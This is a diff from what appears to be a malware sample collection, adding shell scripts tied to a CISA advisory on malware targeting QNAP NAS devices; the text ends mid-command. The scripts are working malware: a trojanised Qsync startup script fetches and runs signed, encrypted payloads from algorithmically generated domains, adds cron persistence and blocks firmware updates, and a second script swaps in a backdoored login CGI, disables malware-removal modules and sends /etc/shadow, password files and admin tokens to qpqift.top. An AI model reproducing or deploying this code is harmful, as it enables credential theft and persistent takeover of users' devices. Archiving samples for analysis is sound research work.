$CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +fi +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +sleep 5 +fi +done + +grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null && sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/0.0.0.0\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +sedexpr='QPKG CENTER XML\|Live Update XML\|FW_XML_ALT' +if grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null; then +sed -i 's/^ *\('"${sedexpr}"'\)\(.*https\?:\/\/[^\/]*\)\(qnap\.com[^\/]*\)/\1\20.0.0.0/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' && sed -i 's/^ *\('"${sedexpr}"'\).*qnap\.com/\1 = /' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f new file mode 100644 index 0000000..67f2927 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f @@ -0,0 +1,212 @@ +#!/bin/bash +ts=1548478800 +PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done <>/etc/hosts +fi + +test -z "$PWD" && PWD=$(pwd) +CWD="$PWD" +if [ "${CWD%/*}" != "${bdir}/.qpkg" ]; then + CWD='' + for dir in '.config' '.liveupdate'; do + dir="${bdir}/.qpkg/${dir}" + test -d "$dir" && cd "$dir" && CWD="$dir" && break + done +fi +test "$CWD" && test -d "$CWD" && cd "$CWD" + +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +grep "$grepstring" "${path#*/}" && sed -i "$sedcmd" "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f "${bdir}/.qpkg/${path}" && grep "$grepstring" "${bdir}/.qpkg/${path}" && sed -i "$sedcmd" "${bdir}/.qpkg/${path}" +fi +done + +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'/CXqrBM2CVbJo'"'"';verifykey="${verifykey}"'"'"'g4rwwSz1Bp1i1'"'/" +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1'"'" +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +grep "$grepstring" "${path#*/}" && sed -i "$sedcmd" "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f "${bdir}/.qpkg/${path}" && grep "$grepstring" "${bdir}/.qpkg/${path}" && sed -i "$sedcmd" "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +test -f "$file" && rm "$file" && cp "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" && test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +done +file='' +if find /etc/config/ | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +test ! -f "${qpkgdir}/MalwareRemover/modules/${file}" || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" && cat >"${qpkgdir}/MalwareRemover/modules/${file}" <<"EOF" +#!/bin/sh +exit 0 +EOF +chmod +x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJog4rwwSz1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +if [ ! -f "${ts}_c" ]; then +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/ssmtp/ssmtp.conf /etc/config/smbpasswd /etc/shadow /mnt/HDA_ROOT/.config/qnapddns.conf /mnt/HDA_ROOT/.config/qid.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1547971200_c" ] && [ ! -f "${cgibindir}/sysauthLogin.cgi" ] && [ -f "${cgibindir}/authLogin.cgi" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='pt+a/Y3gGOPe9uyBgm85h2eOQV8=' + ;; + *arm*) + arch=arm + binhash='W5SbpKsI90NUy4uQg3Pm1agAFho=' + ;; + *i*86*) + arch=i486 + binhash='TagzVbVf5YhxA3ZXwgBMQKw2zG4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod +x "${cgibindir}"/authLogin.cgi + fi + fi + test -f "1547971200_c" || touch "1547971200_c" +fi + +test ! -f "${cgibindir}"/authLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" || { rm "rssdoc.tar.${compext}" && exit 1; } +test -f "rssdoc.tar.${compext}" || exit 1 +rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" +test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA=" || { rm -f "rssdoc.tar.${compext}"; exit 1; } +test "$compext" = bz2 && tarflag=j || tarflag=z +tar -x${tarflag}f "rssdoc.tar.${compext}" || { rm -f rssdoc.tar.{,.${compext}}; exit 1; } +rm -f "rssdoc.tar.${compext}" +fi + +rm /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f /etc/config/.qsync.conf && authkeysfile=$(grep AuthorizedKeysFile /etc/config/.qsync.conf | sed 's/"//g' | cut -d ' ' -f 2) +if [ "$authkeysfile" ] && [ -f "$authkeysfile" ] && grep 